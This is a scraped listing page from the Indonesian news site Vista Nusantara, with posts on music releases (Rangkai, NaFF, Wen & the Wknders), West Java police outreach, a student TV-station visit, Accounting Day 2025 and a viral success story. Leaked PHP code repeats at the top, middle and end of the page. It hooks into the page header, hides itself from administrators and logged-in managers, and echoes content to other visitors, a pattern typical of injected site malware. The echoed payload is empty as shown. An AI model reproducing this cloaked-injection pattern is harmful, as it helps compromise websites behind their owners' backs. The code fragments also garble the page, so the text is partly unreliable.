if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999); Vista Nusantara - Laman 221 dari 271 -
?> if (!function_exists(‘f5cda30b4’)) { function f5cda30b4() { if (is_admin() || (function_exists(‘is_user_logged_in’) && is_user_logged_in() && function_exists(‘current_user_can’) && current_user_can(‘manage_options’))) { return; } echo ‘' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);

Blog

?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);
  • ‘Pekik Hening di Lantang Angan’, Album Penuh Rangkai Yang Kontemplatif dan Penuh Makna

    ‘Pekik Hening di Lantang Angan’, Album Penuh Rangkai Yang Kontemplatif dan Penuh Makna

    VISTA NUSANTARA – Sambutah Pekik Hening di Lantang Angan. Hadir menyusul tiga single yang telah ditetaskan sejak 2023, yaitu “Seperti Rindu”, “Mesra Tanpa Kata”, dan “Puan, Kau Beri Nyawa”, album penuh Rangkai rilis menjelang Ramadan 1446H, tepatnya 28 Februari 2025.

    Sebagai penyambutan bulan penuh renungan, introspeksi dan pengendalian diri, Pekik Hening di Lantang Angan merupakan gabungan hal tersebut. Judul album ini adalah resonansi atas mendiang Ade Firza Paloh, selaku produser album, setelah mengupas-menguras isi kepala dan sukma tiga personel Rangkai yang berkarib sejak Agustus 2022.

    Sejak itulah Ade Firza Paloh intens bersama Rangkai melalui diskusi-diskusi yang kian meluas, meninggi sekaligus mendalam. Dalam permenungannya, ia rangkum 11 nomor track album dengan kalimat “Kalian itu bak kumparan, seperti tak bergerak padahal laju rotasi tinggi. Cocoknya Pekik Hening di Lantang Angan” ujar Bang Ade, panggilan akrab semasa hayatnya.

    Bersama dengan Setengah Lima Records, Rangkai melanjutkan proyek album penuh ini walau tanpa bimbingan produser yang mereka junjung. Hidup harus terus berjalan, pikir mereka. 11 lagu yang mereka tuangkan dalam album ini adalah saripati perjalanan ke dalam diri yang pasti dialami setiap individu yang berpikir.

    “Ini proses produksi yang ternyata menguras banyak hal, dari tenaga sampai waktu tidur. Tapi dari proses yang lumayan panjang ini meyakinkan gue bahwa rezeki itu bisa datang dari mana aja dan gak harus berupa duit. Bahwa bisa kolaborasi sama musisi-musisi yang biasanya kita cuma bisa nonton mereka, itu hal yang wah banget buat gue pribadi.” tambah Mirza Elba Febrian, gitaris Rangkai.

    Bisa dibilang Pekik Hening di Lantang Angan kontemplatif, perlu kesadaran spiritual atau bahkan religius untuk menyesapkannya secara nikmat. Bukan lantas terbatasi akan nasehat apalagi syariat, album ini adalah biskuit pendamping kopi pahit yang bernama jalan hidup. Atau justru sebaliknya, inilah kopi pahit pendamping biskuit manis bernama kesenangan hidup. Menerima hidup apa adanya. Serba berkecukupan.

    Layaknya kebahagiaan, ketenangan jiwa pun harus diraih dan diupayakan dari dalam diri. Salah satunya lewat penerimaan jalan hidup. Maka, diputuskanlah pada bulan Ramadan 2025 Pekik Hening di Lantang Angan ditayangkan secara luas di semua gerai musik digital untuk seksama diperdengarkan. Satu nomor andalan yang ditawarkan saat peluncurannya yaitu “Selam Hati Sulam Diri”.

    Sebuah lagu hasil kolaborasi dengan Endah Widiastuti, vokalis Endah N Rhesa. Menurutnya “Ketika Rangkai mengajak saya untuk mengisi vokal untuk lagu Selam Hati Sulam Diri, tentu saja saya langsung menyanggupi karena sudah mendengar materi albumnya yang konseptual. Proses rekamannya juga menyenangkan karena saya diberi kebebasan untuk improvisasi mencari nada dalam merespon melodi vokal Bimo. Lagu ini memiliki kesan tersendiri di hati saya karena lirik dan bunyi Rangkai yang menarik.”

    Nomor-nomor track dalam album ini disusun berdasarkan 6 masa penciptaan di Al-Quran, yaitu 1. ledakan pertama dan munculnya cahaya (“Api”, “Kejora Cinta”), 2. Jagad mengembang (“Ruang”, “Seperti Rindu”, “Mesra Tanpa Kata”), 3. Unsur alam mulai menemukan bentuknya (“Isyarat Hawa”, “Puan Kau Beri Nyawa”), 4. Benturan alam raya (“Pertengkaran”, “Tabir”), 5. Alam mulai stabil (“Selam Hati Sulam Diri”), dan 6. Alam regenerasi (“Seberang Fana”).

    Formasi trio Rangkai, yaitu Mirza (Gitar Klasik) dan Rai (Kontrabas) dan Bimo (Vokal, Gender/gamelan Jawa). Selain Ade Firza Paloh sebagai produser album dan Setengah Lima Records sebagai produser eksekutif, Rangkai dibantu oleh banyak pihak dalam pengerjaannya. Dihiasi oleh artwork besutan Khalid Albakaziy, mixing-mastering oleh Ruang Waktu Music, Lokale Satin Studio, serta Earspace Studio.

     

    (Red)

  • Sosialisasi LPG 3 Kg, Antisipasi Konflik dan Stabilitas Distribusi di Jawa Barat

    Sosialisasi LPG 3 Kg, Antisipasi Konflik dan Stabilitas Distribusi di Jawa Barat

    VISTA NUSANTARA – Direktorat Intelijen Keamanan (Intelkam) Polda Jawa Barat melalui Subdit Ekonomi menggelar sosialisasi bersama Ketua Koperasi Pengusaha Nasional Minyak dan Gas Bumi (Kopana Migas) wilayah Bandung Raya serta para agen dan pangkalan LPG 3 Kg. Kegiatan ini bertujuan untuk menjaga stabilitas keamanan dan mencegah potensi konflik di masyarakat terkait dengan perubahan kebijakan pemerintah mengenai distribusi LPG 3 Kg subsidi, khususnya peralihan dari pengecer menjadi sub pangkalan.

    Dipimpin oleh Kanit 4 Subdit Ekonomi Direktorat Intelkam Polda Jawa Barat, Kompol Dongor Panjaitan, S.E., kegiatan ini memberikan pemahaman lebih mendalam mengenai regulasi yang masih dalam tahap pembahasan di tingkat pemerintah pusat. Dalam pertemuan tersebut, para pemangku kepentingan di sektor distribusi LPG 3 Kg mendapatkan wawasan terkait kebijakan yang akan diterapkan dan langkah-langkah strategis dalam menjaga ketersediaan serta kelancaran distribusi gas bersubsidi ini.

    Ketua Kopana Migas, H. Opik, yang hadir dalam kegiatan ini di kantor Kopana Migas di Jl. Parakan Wangi No.11, Batununggal, Kota Bandung, menyampaikan bahwa wilayah Jawa Barat menaungi lima kabupaten/kota, yaitu Kabupaten Sumedang, Kabupaten Bandung Barat, Kota Bandung, Kota Cimahi, dan Kabupaten Bandung. Saat ini, terdapat 90 agen LPG 3 Kg dan sekitar 2.425 pangkalan yang beroperasi di wilayah tersebut. Semua agen LPG 3 Kg mendapatkan pasokan langsung dari PT Pertamina melalui Stasiun Pengisian dan Pengangkutan Bulk Elpiji (SPPBE) yang telah ditunjuk.

    Lebih lanjut, H. Opik menegaskan bahwa Hiswana Migas sebagai mitra resmi Pertamina memiliki peran penting dalam memantau operasional distribusi LPG 3 Kg agar tetap sesuai regulasi. Selain itu, Hiswana Migas juga turut mendukung program pemerintah dalam pendistribusian Bahan Bakar Minyak (BBM) bersubsidi, seperti pertalite dan solar, melalui sistem barcode kendaraan roda empat (R4) dan roda dua (R2).

    Sebagai langkah antisipasi dalam menghadapi potensi kelangkaan LPG 3 Kg, terutama menjelang bulan Ramadan dan Idul Fitri, pihak terkait memastikan akan menyalurkan tambahan kuota sesuai kebutuhan masyarakat. Pemerintah juga akan menambah pasokan BBM guna menghindari kelangkaan yang dapat berdampak pada kestabilan ekonomi dan kesejahteraan masyarakat.

    Dengan adanya sosialisasi ini, diharapkan seluruh pemangku kepentingan dapat memahami kebijakan terbaru dan berperan aktif dalam menjaga kelancaran distribusi serta kestabilan harga LPG 3 Kg subsidi di wilayah Jawa Barat.

     

    (Red)

  • Dari Jalanan ke Panggung Besar, Marvel Habibi Kini Jadi Vokalis NaFF

    Dari Jalanan ke Panggung Besar, Marvel Habibi Kini Jadi Vokalis NaFF

    VISTA NUSANTARA – Nama Marvel Habibi, atau biasa dipanggil El, kini menjadi perbincangan hangat setelah resmi bergabung sebagai vokalis baru NaFF. Debutnya langsung ditandai dengan single terbaru NaFF berjudul “Hipnotis”, yang diproduksi di bawah label independen SU.RE (Sumber Rejeki).

    El bukanlah wajah baru di dunia musik. Sebelum bergabung dengan NaFF, ia telah berkarier selama 10 tahun sebagai musisi reguler di berbagai kafe, bar, hingga perjalanan long trip.

    Bahkan, kisah awalnya cukup unik—berawal dari mengamen di jalanan, hingga suatu hari seseorang di warung pecel lele memberinya kartu nama untuk tampil di acara pernikahan. Dari sana, jalannya sebagai musisi profesional pun dimulai.

    Perjalanan El menuju posisi vokalis NaFF juga terjadi secara tidak terduga. Awalnya, temannya direkomendasikan untuk tampil bersama NaFF, namun tanpa disadari, kesempatan itu membuka jalan baginya untuk menjadi vokalis baru NaFF. “Gua nyaman dan akhirnya terpilih jadi vokalis NaFF,” ungkapnya.

    “Sebetulnya kita sudah merasa nyaman dengan Ell, sudah beberapa kali manggung bareng alhasil kita percaya dengan Ell,” ujar Odeu.

    “Dengan adanya Ell semoga dia bisa menambah warna baru khususnya untuk di musik NaFF, mungkin untuk single-single selanjutnya Ell bisa lebih explore lagi dan karakter vokalnya bisa lebih keluar lagi,” ucap Hilal.

    Meski kini menjadi bagian dari band legendaris yang telah melahirkan banyak hits, El tetap rendah hati. Ia tidak merasa star syndrome, melainkan hanya memiliki rasa bangga dan tak menyangka bisa menjadi bagian dari perjalanan panjang NaFF.

    Sebagai vokalis baru, El tetap menghormati para vokalis pendahulu NaFF yang telah membentuk identitas band ini. Namun, ia juga ingin membawa nuansa segar tanpa menghilangkan ciri khas NaFF yang sudah dicintai para penggemar. “Semoga dengan adanya gua, ada warna baru tanpa harus menghilangkan warna NaFF yang lama, dan semoga perbedaan ini bisa diterima,” harapnya.

    Sosok El yang rendah hati dan dekat dengan penggemar juga menjadi daya tarik tersendiri. Ia dikenal aktif membalas DM Instagram dari para penggemarnya, sebuah kebiasaan yang telah ia lakukan sejak dulu.

    Selain itu, El juga mengagumi musisi lain, termasuk Enda ‘Ungu’, yang ia anggap sebagai mentor sekaligus sosok kakak yang selalu merangkul.

    Dengan masuknya Marvel Habibi sebagai vokalis baru, NaFF siap membuka babak baru dalam perjalanan musiknya, dengan tetap menjaga esensi yang telah melekat selama lebih dari dua dekade. Single “Hipnotis” akan menjadi langkah awal yang membuktikan bahwa NaFF tetap relevan di industri musik Tanah Air.

     

    (Red)

  • Silaturahmi Polda Jabar dan Driver Daring, Perkuat Keamanan Transportasi Online

    Silaturahmi Polda Jabar dan Driver Daring, Perkuat Keamanan Transportasi Online

    VISTA NUSANTARA – Kepolisian Daerah Jawa Barat (Polda Jabar) menggelar Silaturahmi dengan Driver Daring Bandung Raya pada Jumat, 14 Februari 2025 di Rumah Makan Curug Sampireun, Jl. Soekarno Hatta No. 729 A, Bandung. Acara yang berlangsung dari pukul 14.00 WIB hingga 16.00 WIB ini bertujuan untuk meningkatkan sinergitas dalam menjaga situasi keamanan dan ketertiban masyarakat (Kamtibmas) yang aman dan kondusif.

    Hadir dalam kegiatan ini Kasubdit 2 Ekonomi Dit Intelkam Polda Jabar AKBP Drs. Mohamad Tatang, M.Si, Kanit 3 Subdit 2 Ekonomi Dit Intelkam Polda Jabar AKP Andriani Kusumo Ratih, S.H., serta perwakilan 12 komunitas driver daring (ojol) Bandung Raya, dengan total 75 peserta.

    Kegiatan silaturahmi ini merupakan agenda tahunan Direktorat Intelijen Keamanan Polda Jabar sebagai bentuk komunikasi dan kolaborasi dengan komunitas driver daring. Selain membangun hubungan yang lebih erat, acara ini juga menjadi wadah diskusi mengenai berbagai isu Kamtibmas yang berkaitan dengan aktivitas para pengemudi transportasi online.

    Dalam pertemuan tersebut, Polda Jabar menyampaikan pentingnya peran driver daring dalam menjaga keamanan di jalan serta meningkatkan kesadaran hukum dalam berkendara. Para peserta juga diberikan kesempatan untuk menyampaikan aspirasi, pengalaman di lapangan, serta masukan terkait upaya menjaga stabilitas keamanan di Bandung Raya dan wilayah Jawa Barat secara umum.

    Polda Jabar menegaskan komitmennya untuk terus mendukung dan bersinergi dengan komunitas driver daring guna menciptakan lingkungan yang lebih aman dan nyaman bagi masyarakat.

     

    (Red)

  • Mahasiswa Ilkom 23.2 UT Bandung Eksplorasi Dunia Penyiaran Lewat Industrial Visit ke Trans7

    Mahasiswa Ilkom 23.2 UT Bandung Eksplorasi Dunia Penyiaran Lewat Industrial Visit ke Trans7

    VISTA NUSANTARA – Mahasiswa Program Studi Ilmu Komunikasi 2023.2 Universitas Terbuka (UT) Bandung melaksanakan kunjungan industri ke stasiun televisi nasional Trans7, Rabu (12/02/2025).

    Kegiatan ini bertujuan untuk memberikan wawasan mendalam mengenai industri penyiaran serta memahami secara langsung proses produksi program televisi.

    Acara dimulai dengan sesi sambutan dari perwakilan Trans7 yang mengapresiasi antusiasme para mahasiswa dalam mengeksplorasi dunia penyiaran. Sementara itu, perwakilan dari mahasiswa menyampaikan rasa terima kasih atas kesempatan yang diberikan untuk mendapatkan pengalaman langsung di industri media.

    Selanjutnya, mahasiswa mendapatkan pemaparan mengenai company profile Trans7, yang mencakup sejarah, perkembangan, serta visi dan misi perusahaan dalam industri penyiaran. Presentasi ini memberikan wawasan tentang bagaimana Trans7 menciptakan konten berkualitas dan menghadapi tantangan di era digital.

    Sesi tanya jawab berlangsung interaktif, di mana mahasiswa berdiskusi langsung dengan tim Trans7 terkait strategi produksi, tantangan industri televisi, hingga peluang karier di bidang penyiaran. Antusiasme mahasiswa terlihat dari beragam pertanyaan yang diajukan, mencerminkan ketertarikan mereka terhadap dunia media.

    Sebagai bentuk dokumentasi, sesi foto bersama dilakukan sebelum memasuki room tour ke dua studio produksi Trans7, yakni Studio “Lapor Pak!” dan Studio “Arisan”. Para mahasiswa diajak melihat langsung proses produksi, mengenal perangkat teknis yang digunakan, serta memahami dinamika kerja di balik layar dalam menciptakan tayangan televisi yang menarik bagi penonton.

    Suryani Melati, selaku Ketua Pelaksana Industrial Visit, menyampaikan harapannya terhadap kegiatan ini. “Semoga pengalaman dan wawasan yang kami dapatkan dari kunjungan ini bisa menjadi bekal berharga serta menambah pengetahuan baru bagi kami semua,” ujarnya.

    Menutup acara, Ketua Pelaksana Abdul menegaskan bahwa kunjungan industri ini merupakan bagian dari program kerja Prodi Ilmu Komunikasi 2023.2 UT Bandung, yang bertujuan untuk memberikan pengalaman langsung di industri media. “Kami berharap pengalaman ini dapat menjadi bekal penting bagi mahasiswa dalam menghadapi dunia profesional ke depan. Terima kasih kepada semua pihak yang telah mendukung dan berpartisipasi dalam kegiatan ini,” tutup Abdul.

     

    (Red)

  • NaFF Hadir Dengan Vokalis Baru Dalam Single ‘Hipnotis’

    NaFF Hadir Dengan Vokalis Baru Dalam Single ‘Hipnotis’

    VISTA NUSANTARA – Setelah lima tahun vakum, band legendaris NaFF kembali menggebrak industri musik Indonesia dengan single terbaru berjudul Hipnotis. Lagu bergenre pop ini menjadi pembuktian eksistensi NaFF dalam format baru, yang kini diperkuat oleh Marvel Habibie atau biasa dipanggil El (vokal), bersama dua personel lama, Odeu Wijaya (bass) dan Hilal Hamzah (drum).

    Kehadiran El tentu membawa angin segar bagi NaFF, memperluas jangkauan pendengar mereka, sekaligus membuktikan bahwa band yang sudah berusia dua dekade ini tetap bisa bersaing dan relevan di industri musik Indonesia.

    Lagu Hipnotis merupakan karya orisinal Odeu Wijaya yang terinspirasi dari kisah pribadinya bersama sang istri. “Sebenarnya ini tidak jauh dari istri saya. Terinspirasi dari kesabaran istri saya dalam menghadapi kondisi ekonomi kami, terutama saat pandemi COVID-19 melanda dan membuat industri musik mati total. Meski mengalami naik-turun kehidupan, cintanya tetap sama—itulah yang saya sebut cinta tanpa syarat atau unconditional love,” ungkap Odeu.

    Sejak berkecimpung di industri musik, Odeu telah menciptakan delapan lagu untuk NaFF. Lagu Hipnotis adalah ciptaannya secara penuh, baik dalam lirik maupun aransemennya. NaFF sendiri telah berkarier selama 25 tahun dengan menghasilkan delapan album dan lebih dari 80 lagu.

    Perjalanan mereka dimulai dari label Prosound selama dua tahun, kemudian beralih ke Trinity Optima Production, dilanjutkan dengan Warner Music selama delapan tahun. Kini, NaFF berdiri secara independen dengan label mereka sendiri, SU.RE (Sumber Rejeki).

    Proses rekaman Hipnotis diproduseri oleh Yoriz Arba, yang sebelumnya juga menangani album terakhir NaFF. Proses produksi berlangsung selama dua minggu di Studio Yo Art hingga mencapai hasil mastering yang siap dirilis.

    Lagu Hipnotis menjadi tonggak baru bagi NaFF sebagai rilisan pertama mereka di bawah label independen sekaligus perayaan 25 tahun NaFF berkarya di industri musik. Single ini akan resmi diluncurkan pada 14 Februari 2025 dalam acara eksklusif di Goedsel88 Pool & Cafe, Jl. Gudang Selatan No.88, Bandung yang disponsori oleh MyPertamina dan Marlinda Craft Miniature Music

    Acara eksklusif ini dapat disaksikan secara langsung melalui siaran livestreaming di kanal YouTube NaFF Musik serta seluruh platform digital Pertamina.

    Dengan kembalinya NaFF ke panggung musik Tanah Air, para penggemar setia mereka tentu tidak sabar untuk menyaksikan evolusi terbaru dari band yang telah menemani perjalanan musik Indonesia selama lebih dari dua dekade ini.

     

    (Red)

  • Wen & the Wknders Buktikan Eksistensi Musik Rock Dengan Single ‘Rindu Sesaat’ Yang Makin Populer

    Wen & the Wknders Buktikan Eksistensi Musik Rock Dengan Single ‘Rindu Sesaat’ Yang Makin Populer

    VISTA NUSANTARA – “Musik rock ternyata belum mati, dan terbukti masih banyak penggemarnya,” ujar Wen, vocalis Wen & the Wknders. Ucapannya di buktikan dengan membanjirnya jumlah penonton video musik single kelima mereka yang bergenre rock bertajuk “Rindu Sesaat” di awal perilisannya tanggal 11 Januari kemarin.

    “Dua hari pertama di Youtube langsung tembus 5000 viewers, dan jumlah pendengar di platform musik digital juga naik cukup signifikan. Luar biasa, Alhamdulillah, terima kasih atas dukungannya,” Isyan sang bassis tak mampu membendung kebahagiaannya.

    “Tadinya jujur kami sempat khawatir karena musik single kelima ini jauh lebih kencang dan lebih keras dari lagu-lagu kami sebelumnya. Tapi kami sih pede aja. Lagipula ini juga membuktikan bahwa kami juga bisa membuat lagu bergenre rock murni, dan tidak melulu membuat lagu bertempo sedang atau lambat,” tambah Demi (gitar).

    Sementara itu gitaris lainnya, Lupi, berujar bahwa pemilihan sound yang tepat membuat single ini jadi jauh lebih istimewa. “Semua sound dari instrumen di lagu ini enak di dengarnya. Pas banget semuanya.”

    Keberhasilan ini tentunya didukung pula oleh struktur lagunya sendiri yang cukup unik. Tidak seperti lagu-lagu pada umumnya, “Rindu Sesaat” tidak memiliki bagan reffrain yang biasanya terdiri dari 4 bagian, namun hanya berisi satu kalimat saja.

    “Struktur yang berbeda, lirik yang intriguing, serta tentu saja gebukan drum dan bunyi gitar distorsi yang khas musik rock, membuat lagu ini standout dari pasar musik yang di dominasi lagu-lagu mellow manja saat ini,” pungkas Wen.

     

    (Red)

  • Transformasi Digital Akuntansi, Ikuti Accounting Day 2025 di LPKIA Bandung

    Transformasi Digital Akuntansi, Ikuti Accounting Day 2025 di LPKIA Bandung

    VISTA NUSANTARA – Institut Digital Ekonomi LPKIA dengan bangga menyelenggarakan acara Accounting Day 2025 bertema “Explore the Fun: Seminar dan Competition to Build Dreams and Opportunities”. Acara ini akan berlangsung pada Senin, 20 Januari 2025, di Gedung Serba Guna Institut Digital Ekonomi LPKIA, Bandung.

    Accounting Day 2025 dihadiri oleh siswa/i SMA dan SMK, serta mahasiswa daerah Bandung dan sekitarnya yang antusias membahas topik akuntansi di bidang bisnis dan profesi akuntansi yang relevan saat ini.

    Sorotan utama acara ini adalah seminar bertema “Accounting in Digital Era: Build a Successful Business”, yang bertujuan memberikan wawasan mengenai tantangan dan peluang yang dihadapi dunia akuntansi di era digital.

    Pembicara utama:

    Muhammad Shidiq, SE., AK., CA, (Chief Financial Officer & Owner Geoff Max) akan berbagi pengalaman dan strategi membangun bisnis yang sukses dalam era transformasi digital.
    Selain seminar, acara ini juga menghadirkan berbagai kompetisi edukatif dan seru khusus untuk siswa/i SMA dan SMK, yaitu:

    1. Perlombaan Pidato
    2. Kompetisi Menghitung Cepat dan Mencari Kata
    3. Cerdas Cermat
    4. Kompetisi Desain Kreatif

    Dengan menggabungkan seminar inspiratif dan kompetisi yang mendidik, Accounting Day 2025 diharapkan mampu menjadi ruang inspirasi sekaligus edukasi bagi seluruh peserta untuk mengembangkan kemampuan dan keterampilan mereka dalam menghadapi perkembangan teknologi yang semakin pesat.

    Untuk informasi lebih lanjut, silakan hubungi:
    Rahil: 0831 9500 8146
    Najwa: 0877 9105 3589
    Helmi: 0877 3264 4493

    Ikuti kami di media sosial: @himaaksi_
    Mari bergabung bersama kami di Accounting Day 2025 dan jadilah bagian dari keseruan acara ini!

     

    (Red)

  • Cara Main-Main di Cipete Bantu Musisi Baru Jangkau Pendengar Lebih Luas

    Cara Main-Main di Cipete Bantu Musisi Baru Jangkau Pendengar Lebih Luas

    VISTA NUSANTARA – Wartawan musik sekaligus pegiat keriaan, Eno Suratno Wongsodimedjo atau yang akrab disapa Enodimedjo mendorong musisi pendatang baru untuk aktif mempromosikan karya-karyanya lewat program musik mingguan Main-Main di Cipete.

    Lewat keterangan tertulisnya, Eno mengatakan bahwa program Main-Main di Cipete digagas sebagai etalase bagi para musisi muda untuk menjajakan karya-karyanya. Panggungan, kata dia, merupakan salah satu elemen penting bagi promosi sebuah karya musik.

    “Bagi musisi pendatang baru, kesempatan manggung atau tampil di sebuah event menjadi hal sulit untuk mereka dapatkan. Padahal selain bisa menjemput pendengar baru, keriaan atau acara musik bisa menjadi ajang bagi mereka menambah jam terbang manggung, sekaligus menjadi simpul kreatif antar musisi untuk berjejaring satu sama lain,” ucap Enodimedjo.

    Digelar rutin setiap Senin malam di Casatopia Cafe, Jakarta Selatan, Main-Main di Cipete hadir di bawah payung Reallist Management, sebuah entitas kolektif yang didirikan oleh Eno. Hingga saat ini, 19 musisi dari berbagai kota dan provinsi di Indonesia sudah tampil di program ini.

    Di antaranya ada Mahardias (Bekasi), Tape Argument (Pamulang), Fabian Putra (Depok), Moccatune (Surabaya), Davi Siumbing (Jakarta), Afternourway (Ciputat), Verryans (Samarinda), hingga Mr. Zaqilah (Kolaka) dan lain-lain.

    Lewat program Main-Main di Cipete, Eno seolah ingin membuktikan konsistensinya membangun ekosistem musik yang sehat. Salah satunya adalah sebagai ruang bertumbuh bagi mereka yang masih merintis jalan, sehingga regenerasi bisa berjalan dengan baik.

    “Beberapa waktu lalu, penikmat musik akrab dengan istilah ‘festival musik dengan line up yang itu-itu saja’. Keresahan yang seperti itu, seharusnya tidak perlu ada jika musisi-musisi baru diberi ruang untuk bertumbuh,” katanya.

    Eno bilang, acara yang ia inisiasi dihelat gratis tanpa tiket untuk memberi ruang yang lebih luas bagi para pembuat karya yang ingin menemukan pendengar baru.
    Konsep cuma-cuma juga membuka kesempatan bagi siapa pun untuk datang dan menemukan karya dari musisi-musisi baru Indonesia.

    “Acara ini amat sangat terbuka bagi siapa pun, baik pekarya musik maupun penikmat musik. Silakan datang, berkenalan, berjejaring, untuk kemudian bersama-sama membentuk ekosistem musik yang sehat dan saling dukung,” tutur Enodimedjo.

    “Informasi mengenai acara ini, tentang cara bisa ikutan tampil hingga jadwal penampil setiap minggunya, bisa diakses melalui akun Instagram @main.main.di,” ujar dia.

     

    (Red)

  • Daffa Gagal Jadi PNS, Batal Menikah dan Berakhir Jadi CEO Sukses

    Daffa Gagal Jadi PNS, Batal Menikah dan Berakhir Jadi CEO Sukses

    VISTA NUSANTARA – Sebuah cerita tentang perjuangan hidup seorang pria bernama Daffa tengah ramai diperbincangkan di media sosial. Kisah ini bermula dari sebuah thread di Twitter yang menggambarkan bagaimana Daffa menghadapi kegagalan dan berhasil bangkit hingga menjadi pengusaha sukses.

    Thread tersebut mengisahkan bahwa Daffa, yang gagal lolos seleksi CPNS beberapa tahun lalu, harus rela menerima kenyataan pahit. Hubungan asmaranya kandas, dan calon mertuanya bahkan menjulukinya sebagai parasit karena tidak memiliki status sebagai PNS. Kejadian ini mencerminkan pandangan sebagian masyarakat yang masih menjunjung tinggi status PNS sebagai simbol kestabilan dan kesuksesan.

    Namun, kegagalan tersebut justru menjadi titik balik bagi Daffa. Ia mulai membangun sebuah startup di bidang pariwisata, yang kini berkembang pesat dan menghasilkan pendapatan yang jauh lebih besar daripada gaji seorang PNS. Perjalanan hidup Daffa yang penuh liku ini menuai pujian dari banyak warganet.

    Thread yang menceritakan kisah Daffa ini pun menjadi viral, memancing diskusi tentang cara masyarakat memandang profesi tertentu. Banyak komentar yang mengkritik pandangan konservatif yang memprioritaskan status pekerjaan dibandingkan potensi seseorang. Tidak sedikit pula yang memberikan dukungan kepada Daffa atas keberhasilannya mengatasi kegagalan dan membuktikan diri.

    Cerita ini menjadi pengingat bahwa status pekerjaan bukanlah satu-satunya ukuran kesuksesan. Dengan kerja keras, keberanian, dan tekad yang kuat, siapa pun dapat mencapai keberhasilan yang luar biasa. Kisah Daffa mengajarkan bahwa kegagalan bukanlah akhir, melainkan awal dari perjalanan menuju kesuksesan.

    Bagaimana pendapat Anda? Apakah cerita ini mencerminkan pandangan yang masih ada di masyarakat kita?

     

    (Red)

?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);